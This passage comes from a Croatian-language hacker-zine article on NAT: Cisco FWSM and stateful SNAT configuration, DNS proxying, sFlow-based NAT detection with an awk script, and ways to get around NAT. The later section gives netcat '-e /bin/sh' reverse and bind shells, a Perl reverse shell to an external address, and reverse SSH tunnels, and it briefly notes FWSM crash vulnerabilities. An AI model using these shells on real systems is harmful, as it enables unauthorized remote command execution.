moguce je mnogo kombinacija napraviti preko modula ukljucujuci prebacivanja
preko DMZ-a do ext posluzitelja itd. modulska sintaksa za konfiguriranje nat-a:

------------------[ C_cli ]------------------
FWSM/contexta(config)# nat (local_interface) nat_id access-list acl_name [dns]
[outside | [norandomseq] [[tcp] tcp_max_conns [emb_limit]] [udp udp_max_conns]]
------------------[/C_cli ]------------------

identificiranje globalnih adresa:

------------------[ C_cli ]------------------
FWSM/contexta(config)# global (global_interface) nat_id {global_ip[-global_ip] |
interface}
------------------[/C_cli ]------------------

takodjer jedan nacin podesavanja i rjesavanja nekih problema je stateful
failover nacin rada SNAT-a. Pravi nacin ovog je koliko znam prvi put
prezentiran na 12.2(13)T verziji IOS-a u svrhu slucajnog failure-a nekih bitnih
linkova i routera. Moguce je da dva ili vishe mreznih translatora funkcioniraju
kao translacijska grupa. Jedan router (primarni) manipulira trafficom i obavlja
ip adresnu translaciju te obavjestava backup router o aktivnostima kako one
bivaju obavljane. Backup router tada naravno preko tih informacija moze lako
pripremiti duplikat tablice translacija te po potrebi preuzeti ulogu primarnog
routera. Promet se moze nastaviti forwardati jer se koriste iste mrezne adresne
translacije a njihovo je stanje takodjer vec prije definirano. Ovakav nacin se
moze takodjer koristiti uz HSRP protokol. Evo jedan primjer:

------------------[C_cli ]------------------
Router> enable
Router(config)# interface serial 1/0
Router(config-if)# standby SNATHSRP ip 10.0.0.1 secondary
Router(config-if)# exit
Router(config)# ip snat stateful id 1 redundancy snathsrp mapping-id 10
Router(config)# ip nat pool snatpool1 10.0.0.1 10.0.0.9 prefix-length 24
Router(config)# ip nat inside source route-map rm-101 pool snatpool1 mapping-id
10 overload
------------------[/C_cli ]------------------

konfiguriranje snat primarnog i backup-a moguce je na slijedeci nacin:

------------------[ C_cli ]------------------
Router> enable
Router# configure terminal
Router(config)# ip nat stateful id 1 primary 1.1.1.1 peer 2.2.2.2 mapping-id 10
Router(config)# ip nat pool SNATPOOL1 10.0.0.1 10.0.0.15 prefix-length 24
Router(config)# ip nat inside source route-map rm-101 pool snatpool1 mapping-id
10 overload
------------------[/C_cli ]------------------

provjera lista konfiguracije:

------------------[ C_cli ]------------------
!
ip nat Stateful id 1
redundancy SNATHSRP
mapping-id 10
ip nat pool SNATPOOL1 10.0.0.1 10.0.0.9 prefix-length 24
ip nat inside source route-map rm-101 pool SNATPOOL1 mapping-id 10 overload
ip classless
ip route 11.1.1.0 255.255.255.0 Null0
no ip http server
ip pim bidir-enable
--------------------------------
!
ip nat Stateful id 1
primary ipaddr
peer ipaddr
mapping-id 10
!
ip nat Stateful id 2
backup ipaddr
peer ipaddr
mapping-id 10
------------------[/C_cli ]------------------


--==<[ 0x03c DNS proxy ability
\__________________________/


Velik broj NAT okruzenja ima mogucnost dns forwardinga odnosno ponasanja
kao dns proxy. Ukoliko vam je potrebna takvo rjesenje pogledajte opsirnije
name-resolution mogucnosti vaseg nacina implementacije. Ukljucivanje je zaista
trivijalno te se svodi na enable samog proxya. Kad je ukljucena opcija DNS
proxy dopusta NAT-ovanoj mrezi odnosno routeru da se ponasa poput DNS servera
za klijente interne mreze. Kada dodje DNS resolution request na tako podesen
router on ce forwardati taj request na pravi DNS server koji je na njemu samom
konfiguriran i primiti te isto tako proslijediti reply.

______ < 161.53.11.9 ______ DNS DNS
|____| |____| 192.168.100.6 192.168.100.7
|____| IP:1.2.3.4 |____| ___ ___
|____| |____| |PC1| |PC2|
| |------------/ | | _|___|_ _|___|_
|||||| /-------------|||||| |_______| |_______|
|||||| |||||| | |
|||||| ||||||____<________|___________|
|____| |____|
____|_____ ______|_____________
|DNS SERVER| |NAT DNS PROXY SERVER|
|----------| |--------------------|

Nakon sto klijenti salju dns zahtjeve na svoj dns server u ovom slucaju
1.2.3.4 oni ce biti preusmjereni na pravi dns externi server koji ce te
zahtjeve i obraditi. npr. translatiranje addr polja kod translacije DNS:
muljaza debug outputa:

------------------[ dump ]------------------
NAT: s=192.168.100.6->1.2.3.5, d=161.53.11.9 [0]
IP: s=1.2.3.5 (Serial0), d=161.53.11.9 (Serial1), g=1.2.3.187, len 66, forward
UDP src=6988, dst=53

reply:

NAT: s=161.53.11.9, d=1.2.3.5->192.168.100.6 [65371]
IP: s=161.53.11.9 (Serial1), d=192.168.11.9 (Serial0), g=192.168.100.6, len 315
forward UDP src=53, dst=6988
------------------[/dump ]------------------

------------------[ C_cli ]------------------
Router-A# show ip nat translations
Pro Inside global Inside local Outside local Outside global
--- 1.2.3.5 192.168.100.6 --- ---
--- --- --- TRANS_DEST_ADDR 192.168.100.6
--- 1.2.3.5 192.168.100.6 TRANS_DEST_ADDR 192.168.100.6
------------------[/C_cli ]------------------

ovdje sam samo dao primjer dump-a tablice na routeru kad je uspostavljena
komunikacija sa strojem kojeg je resolvao DNS server nakon query-a kojeg
mu je proslijedio nas gateway. u ovom slucaju T_D_A jest resolvana adresa.


///////////////////////////////////////////////////////////////////////////
-----> 0x04 Various Bypass Workarounds
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


--==<[ 0x04a Effective detection (sFlow)
\__________________________________/


SFLOW? pretpostavljam da ste barem culi za RMON ili Netflow tehnologije..
sflow je moderan mrezni exportni protokol za mrezni monitoring komunikacije
izmedju swicheva i routera. Sastoji se od mehanizma koji uljucuje sflow agenta
za primanje pracenog prometa, MIB od samog sflow-a za kontrolu agenta te od
formata podataka koristenih od strane sflow agenta kod forwardanja paketa.
znamo da netflow koji cisco trosi radi istu stvar no sam sflow koji josh nije
sasvim rasprostranjen uglavnom se implementira na gigabitne linkovne strukture.
takodjer je moguce kontroliranje desetak tisuca agenata sa jednog jedinog noda.
sflow agent nalazi se implementiran na switchu ili routeru a drugi dio, glavni
podatkovni kolektor sluzi za naliziranje samo traffica. Znaci agent jednostavno
preko sampling tehnike skuplja podatke sa device-a i salje statistiku na neki
sflow analyzer. sflow agent koristi dvije forme: statistical packet-based ili
switched flows te tim-based nacin prikupljanja statisktike interfejsa.

sflow agent jest u biti softverski proces koji se vrti kao dio mreznog
upravljackog software. Ko kombinira interfejs brojac i sakupljac protoka u slow
datagrame koji se zatim salju mrezom do sflow kolektora analizatora. Inace
sflow i nflow i slicne tehnologije su iznimno siroka podrucja te nema smisla
da sada odem ovdje presiroko o njima.. procitajte njihove rfc-ove i ostalu
dokumentariju na koju naidjete jer je to iznimno zanimljivo podrucje, barem meni
no ajmo mi na dio o tome kako na ovaj nacin detektirati NAT uredjaj na mrezi..
btw. formatiranje samih datagrama je provedeno prek XDR-a koji su oni ocito
nasli produktivnijim od ASN.1... jednostavno je kolektoru lakse enkodati takve
payload-e. Konfiguracija prati ona podesenja u MIBu te salje na tamo definirane
portove odredjene udp pakete. detektiranje natovanih okruzenja svodi se na
analiziranje samog sflow traffic mjerenja.

172.10.77.5
___ ___ ___ ___ ______GW_LINK_>
|PC1| |PC2| / \ / \ /
_|___|_ _|___|_ | S |---<------>----| R |-----/
|_______| |_______| \___/ \___/
| | _ | \
|______________|___|_|__| \________<SFlow>__________________________
|_| | Sflow analyzer||
/ __ |_______________||
NAT_gw<________/ / \________<SFlow>________/
172.10.10.90 | S |
___________________\___/______________________________GW_LINK_>
___ /
|PC3|/ 172.10.88.6
_|___|_
|_______|

Detektiranje NAT-a bazira se na kontroliranju standardnog ttl polja. Nadam
se da ste do sada i samo razumijeli o cemu se ovdje radi tocno :) Znaci sam
NAT ce dekrementirati TTL polje za jedan od onog defaultnog koje je ubacio
operativini sustav. Naravno mi bismo mogli kao sto kuzite vidjeti kad bismo
pingali host dali je on unutar natovanog okruzenja no ne mozemo ga pingat
ako je NAPT odnosno PAT podeshen jer on nema vanjsku, public IP adresu. Ovo
cemo ovdje obaviti zato preko sflow-a u ovom slucaju.. evo primjer awk
skripte koja ce nam dati informacije o odredjenim natovanim mreznim hostovima.

------------------[ awk ]------------------
#!/bin/awk -f
#
# findnat.awk
#
# Script to identify likely NAT devices using sFlow.
# Copyright (c) InMon Corp. 2003 ALL RIGHTS RESERVED

#
# Initialize constants
#

BEGIN {
# Specify edge switches and subnets
agents["172.10.77.5"] = "172.10.77.0/24";
agents["172.10.88.6"] = "172.10.88.0/24";

# Convert mask bits to mask address
masks[0] = "0.0.0.0";
masks[1] = "128.0.0.0";
masks[2] = "192.0.0.0";
masks[3] = "224.0.0.0";
masks[4] = "240.0.0.0";
masks[5] = "248.0.0.0";
masks[6] = "252.0.0.0";
masks[7] = "254.0.0.0";
masks[8] = "255.0.0.0";
masks[9] = "255.128.0.0";
masks[10] = "255.192.0.0";
masks[11] = "255.224.0.0";
masks[12] = "255.240.0.0";
masks[13] = "255.248.0.0";
masks[14] = "255.252.0.0";
masks[15] = "255.254.0.0";
masks[16] = "255.255.0.0";
masks[17] = "255.255.128.0";
masks[18] = "255.255.192.0";
masks[19] = "255.255.224.0";
masks[20] = "255.255.240.0";
masks[21] = "255.255.248.0";
masks[22] = "255.255.252.0";
masks[23] = "255.255.254.0";
masks[24] = "255.255.255.0";
masks[25] = "255.255.255.128";
masks[26] = "255.255.255.192";
masks[27] = "255.255.255.224";
masks[28] = "255.255.255.240";
masks[29] = "255.255.255.248";
masks[30] = "255.255.255.252";
masks[31] = "255.255.255.254";
masks[32] = "255.255.255.255";

# Octet multipliers for converting IP addresses to integers
b1 = 256;
b2 = 256 * b1;
b3 = 256 * b2;
}

#
# The following actions apply to each sFlow record
#

# The agent (switch) reporting this flow sample
/agent/ {agent = $2;}

# The source MAC address decoded from the flow sample
/srcMAC/ {mac = $2;}

# The source IP address decoded from the flow sample
/srcIP/ {src = $2;}

# The IP TTL decoded from the flow sample
/IPTTL/ {ttl = $2;}

# The TCP source port decoded from the flow sample
/TCPSrcPort/{
port = $2;

# The TCP port number is the last field we need, so perform the analysis
# Is this an edge switch?
localSubnet = agents[agent];
if(localSubnet) {

# Is this a packet from a host on the subnet local to the agent?
split(localSubnet, parts, "/");
subnet = parts[1];
bits = parts[2];
mask = masks[bits];

split(mask,parts,".");
submask = parts[1] * b3 + parts[2] * b2 + parts[3] * b1 + parts[4];

split(subnet,parts,".");
subagt = and(parts[1] * b3 + parts[2] * b2 + parts[3] * b1 + parts[4], submask);

split(src,parts,".");
subaddr = and(parts[1] * b3 + parts[2] * b2 + parts[3] * b1 + parts[4], submask);

if(subaddr == subagt) {
# Is the TTL characteristic of an end host?
if((ttl != 255) && (ttl != 1) && (ttl % 2)) {
# A likely NAT device, have we reported on it before?
if(!host[src]) {
entry = src " " ttl " " port " " mac;
print entry;
host[src] = entry;
}
}
}
}
}
------------------[/awk ]------------------

output bi trebao biti sljedeci za gore primjerno okruzenje:

------------------[ shell ]------------------
sflowtool | ./findnat.awk
172.10.10.70 127 62216 002078142a2f
------------------[/shell ]------------------

parametri po kojima mozemo identificirati da se radi o nat-ovanom okruzenju
mozemo znati po tome sto je dakle ttl 127 o cemu sam vec govorio ali i po
tome sto kao i sto sami vidite koristi veoma visoke portove sto je uglavnom
specificno za NAT mrezna, translatirana okruzenja.

isto tako od strane at&t labsa je prezentirana metoda kako je moguce prilicno
tocno utvrditi koliko se hostova nalazi iza nat-a preko ip id vrijednosti u
odredjenim serijama paketa. svaki host generira ratucu sekvencu id vrijednosti.

------------------[ shell ]------------------
sflowtool -t | tcpdump -v -N -r - src host *.*.*.*
]tcp sum ok] ack 4292552168 win 64240 (DF) (ttl 127, id 40255, len 40)
[tcp sum ok] ack 1 win 64240 (DF) (ttl 127, id 40756, len 40)
[tcp sum ok] 1820371619:1820371619(0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
(ttl 127, id 57601, len 48)
[tcp sum ok] ack 4293696808 win 64240 (DF) (ttl 127, id 41427, len 40)
[tcp sum ok] ack 4293946004 win 64240 (DF) (ttl 127, id 41671, len 40)
[tcp sum ok] ack 1633741 win 64240 (DF) (ttl 127, id 42293, len 40)
[tcp sum ok] ack 4294795172 win 64240 (DF) (ttl 127, id 42632, len 40)
[bad tcp cksum 1748!] 2115643160:2115643180(20) ack 972685314 win 46144 urg
3585 (DF) (ttl 125, id 42893, len 40)
[bad tcp cksum 6be7!] ack 1 win 19652 (DF) (ttl 127, id 1673, len 40)
[tcp sum ok] ack 940080 win 64240 (DF) (ttl 127, id 43799, len 40)
[bad tcp cksum 579d!] ack 1019539 win 17520 (DF) (ttl 125, id 43846, len 40)
[bad tcp cksum 8380!] 2120652494:2120652506(12) win 11414 urg 5633 (DF)
(ttl 125, id 43859, len 40)
[tcp sum ok] 3206002624:3206002624(0) win 0 (DF) (ttl 127, id 1731, len 40)
------------------[/shell ]------------------

analiziranjem ovog tcpdump dumpa moze se primjetiti kako se vidi da je iza
odredjenog stroja josh 3 hosta. to mozete vidjeti jer ima tri potpuno
razlicito generirane id vrijednosti.. onu od oko 40-ak tisuca, onu nisku
od oko 1500 (1673,1731) te visoku od oko 60 tisuca (57601).. prema ovome
mozemo vidjeti da su tri razlicita hosta iza ovog natovanog okruzenja.


--==<[ 0x04b Reversing connection (VNC, NC & Perl shell)
\____________________________________________________/


znaci recimo da imate negdje fizicki pristup nekom stroju koji se nalazi
iza NAT-a te mu ne mozete pristupiti recimo od doma ili neke druge externe
lokacije.. znaci naravno.. najjednostavnije je jednostavno napraviti reverse
konekciju odredjenim protokolom i rjesena stvar.. stoga cu ovdje predstaviti
nekoliko metoda reversanja koristeci netcat, perl i vnc.

krenimo sa netcat-om.. nezamijenjivim alatom na linux operativnim sustavima.
netcatom moazemo iznimno lako slanje tcp/ip requestova i primanje odgovora.
naravno to je moguce jer netcat ima mogucnost slusanja na odredjenim portovima.
znaci na nasem hostu s kojeg se zelimo spojiti unutar translatiranog okruzenja
moramo otvoriti socket jer ce se interni host u biti spojiti na nas:

------------------[ shell ]------------------
netcat -v -l -p 1234
------------------[/shell ]------------------

sa remote hosta kojem zelimo davati komande postavit cemo slijedece parametre:

------------------[ shell ]------------------
netcat -e /bin/sh nash_host 1234
------------------[/shell ]------------------

znaci ovo je minimalac reversanja.. :) nemamo ni prompt (kome treba), dakle
imamo ono sto nam je potrebno, a to je mogucnost izvrsavanja komandi na stroju!
isto tako mozemo pokrenuti netcat tako da slusha na konekcije i po potrebi nam
executa /bin/sh. to bi izgledalo ovako:

------------------[ shell ]------------------
netcat -v -l -p 1234 -e /bin/sh
------------------[/shell ]------------------

znaci ovo cemo pokrenuti na remote hostu kojem zelimo pristupati te kada
zelimo uspostaviti konekciju cemo se samo spojiti na port 1234 preko nasheg
netcat-a. ovo je npr. kada se mi nalazimo unutar takvog okruzenja..

takodjer mozemo napraviti maleni reverse shell u perl-u i to na ovaj nacin:

------------------[ code ]------------------
#!/usr/bin/perl
use Socket;
$addr=sockaddr_in('1234',inet_aton('EXT_ADDR'));
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
connect(S,$addr);select S;$|=1;
while(defined($l=<S>)){print qx($l);}
close(S);
------------------[/code ]------------------

sasvim jasan source pretpostavljam koji nece pokrenuti interaktivni shell
nego ce izvrsavati svaku komandu zadanu sa nashe strane. Naravno umjesto
EXT_ADDR unesite adresu vasheg externog hosta s kojeg zelite kontrolirati
internu mashinu. I dakako prije uspostavljanja konekcije morate otvoriti
port na svom stroju preko netcat-a npr. netcat -v -l -p 1234... :)

josh jedno rjesenje pristupanja mashinama unutar natovanih mreznih okruzenja
jest postavljanje jedne vrste pasivnog trojana.. recimo pcanywhere ili neki
shit, a isto tako moguce je ostvariti i VNC konekciju preko NAT-a .. recimo
neki primjer.. na internom hostu pokrenite vnc server a na vashem hostu
prebacite vnc u listen mode..na ovaj nacin komunikacija se uspostavlja iznutra
na vanjski host. Na internom serveru moramo podesiti password za incoming
konekcije i dodajte novog klijenta.. naravno dodat cete svoju externu adresu!

ovako podeseno okruzenje bi trebalo radit bez problema.. isto tako mozete
napraviti da ide neki batch skript no problem kod svega ovog je dakako sto
cijelokupna komunikacija odrzavana izmedju hostova je potpuno otvorena odnosno
preporucam da koristite ssh tuneliranje kako bi ovakva vnc veza bila sigurna!
primjer:
------------------[ shell ]------------------
ssh -l username -C -v -L 5902:remote_host:1234 host
------------------[/shell ]------------------

port 5092 je naravno port VNC servera. slijedi samo konektiranje preko 1234
porta koji je tuneliran prek ssh.


--==<[ 0x04c Inbound SSH method
\__________________________/


Secure shell je naravno isto tako nemoguce koristi regularnom metodom ako
se destination host nalazi iza NAPT-a. Njegovo koristenje na ovaj nacin je
izuzetno jednostavno kao i preko ostalih prije spomenutih alata. Znaci ono
sto trebamo napraviti jest to da se napravi tunel reverse upotrebe.. sve ce
vam biti jasno nakon sto pogledate man ssh i vidite njegove mogucnosti.. ono
sto cete prvo uciti ukoliko trazite nacin da ostvarite ovo o cemu ovdje govorim
jest -R argument. znaci najbolje je da se iznutra spojimo na nas externi stroj
na sshd daemon kako bi prosli i autorizacijski postupak i sve kako spada..
primjer ssh konektiranja:

------------------[ shell ]------------------
ssh -f -R $PORT:localhost:22 $login@ext_addr
------------------[/shell ]------------------

o cemu se ovdje zapravo radi.. ovo cemo pokrenuti na internom stroju koji se
nalazi unutar nat-a. -f parametar jest fork sto ce nam baciti ssh u bground
tj daemon nakon autentikacije. Znaci ovime se logiramo na nash ext stroj
i forwardamo tcp traffic na neki port kroz tunel na ssh daemon! Naravno ovdje
nije obvezno da se ide na ssh no posto sam odlucio ovdje pokazati ovaj primjer
ali isto tako mozete vi bez problema koristit i telnet itd. takodjer na kraj
stavite neku komandu da ssh vrti te mozete dodati do sleep * kako vama pashe!
slijedi vam postavljanje recimo:

------------------[ shell ]------------------
ssh -p $PORT -l $login2 localhost
------------------[/shell ]------------------

znaci vidljivo je da se -p parametrom force-amo na nash port i -l da prepozna
vash remote username. Na ovaj nacin mozete se logirati na shell i raditi
interaktivno. Mozete takodjer dodavati neke dodatne djelove kao sto su novi
autorizacijski kljucevi ili neki dodatni id parametri itd. naravno isto tako
nemojte zaboraviti da na ovaj nacin mozete i kopirati fajlove izmedju ovih
dvaju strojeva i to koristeci scp:

------------------[ shell ]------------------
scp -P $PORT $login2@localhost:$/tmp***/ $dest
------------------[/shell ]------------------

znaci ovakav nacin moguce je izvesti u oba dva smjera komunikacije!! mozete
se igrati na razne nacine .. uglavnom ovo je jedan od dobrih nacina da
koristimo i razmjenjujemo resurse sa nekim internim nat-ovanim hostovima!


--==<[ 0x04d Sketches (bullets) for the end
\______________________________________/


Ovu sam sekciju zamislio kao jedan preview sa vishe sigurnosnih
aspekata ukljucujuci propuste u samim implementacijama, modulima, servisima
itd. neznam otkud da pocnem. :) Mogu

spomenuti nekoliko sigurnostnih bugova 
u fwsm modulima na cisco opremi.. naime radi se o httpAuth te snmpV3 vulnovima
prvi bug se javlja zbog buffer overflowa prilikom autorizacije koristenjem
TACACS+ ili RADIUS-a. ovaj b0f dovodi do rusenja i reloada. Znaci govorim o
autorizaciji preko ftp-a, telneta, www-a koja se vrsi preko radiusa ili tacacsa

Isto tako druga ranjivost dolazi do izrazaja ako se cisco fwsm posalje obican
SNMPv3 message te se prilikom njegove obrade rusi odnosno reloada i to kada
je na njemu podeseno " snmp-server host <if_name> <ip_addr> or snmp-server
host <if_name> <ip_addr> poll". Zanimljivo je da se ovo desava i ako taj
uredjaj ne podrzava snmpv3. Fwsm konfiguracija da samo generaira i salje
trapo-ove koristeci "snmp-server host <if_name> <ip_addr> trap" nije ranjiva!

Vec sam napomenuo da je iskoristavanje moguce putem postavljanja pasivnog
server/client auditing programa tako da se interni host u biti spaja na vas
onako kako sam gore pojasnio.. isto tako ako vas vishe zainteresira ova
tematika mozete se pozabaviti i source-routing propustima koji se desavaju
NAT strojevima koji vam mogu omoguciti neke stvari .. isto tako static table
timeouti koji mogu nastupati na firewallovima mogu onesposobiti nat i omoguciti
vam dropanje i sl. bitno je da znate princip i radite vodjeni vlastitim
logicnim razmisljanjem i sve postaje perfektno jasno i jednostavno. Ovakva
translacijska okruzenja kao sto sam u vishe navrata spomenuo mogu biti iznimno
raznoliko implementirana.. na raznim operativnim sustavima, s razlicitim
softwareskim paketima itd. recimo primjer kad sam bio svjedok rusenja NA(P)T-a
implementiranog na Kerio WinRoute software paketu koji ne valja nish. Uredno je
preko dameware-a oderano previshe konekcijskih resursa koje winroute nije u
mogucnosti podnijeti ako nije konfiguriran kako treba.. vecina implementacija
ima svoje prednosti i mane pa je na vama da odlucite koja vam najbolje odgovara
Napominjem da mi je zao sto nemam puno vishe vremena da pojasnim dodatno neke
zanimljive stvari no ovo je samo generalno ono sto bi vas trebalo potaknuti da
se dignete na vishu razinu i pocnete mastovitije razmisljati o problemima.


///////////////////////////////////////////////////////////////////////////
-----> 0x05 Fade Out
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


This is the end... to bi bilo to od mene za ovaj broj.. valjda je
netko nashao nekakvu korist od ovoga i saznao nesto novo. Tekst je relativno
kratak i nadam se prilicno jasan a vi sve svoje komentare, uochene greske i
sugestije molim da mi posaljete na navedeni mail: haarp@phearless.org.
Napominjem josh jednom da ovaj txt sadrzi mnogo stvari koje sam samostalno
pretpostavio i podesio tako da je vrlo lako moguce da postoji josh mnogo
jednostavnijih i boljih rjesenja za implementaciju odredjenih stvari.
Svima saljem veliki pozdrav i do citanja u nekom od slijedecih brojeva..

greetz to: škrobo, SiKe, Shatterhand, nimr0d, Exoduks, h4z4rd, bl00dz3r0,
n00ne, modche, argv, Wintermuth, `and, BoyScout, set_X, m4rko,
irc.ptp.org #social, Impaler, nekim ljudima s RiWi-ja, a posebno
BIG kiss najdrazhoj Jeleni!!


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT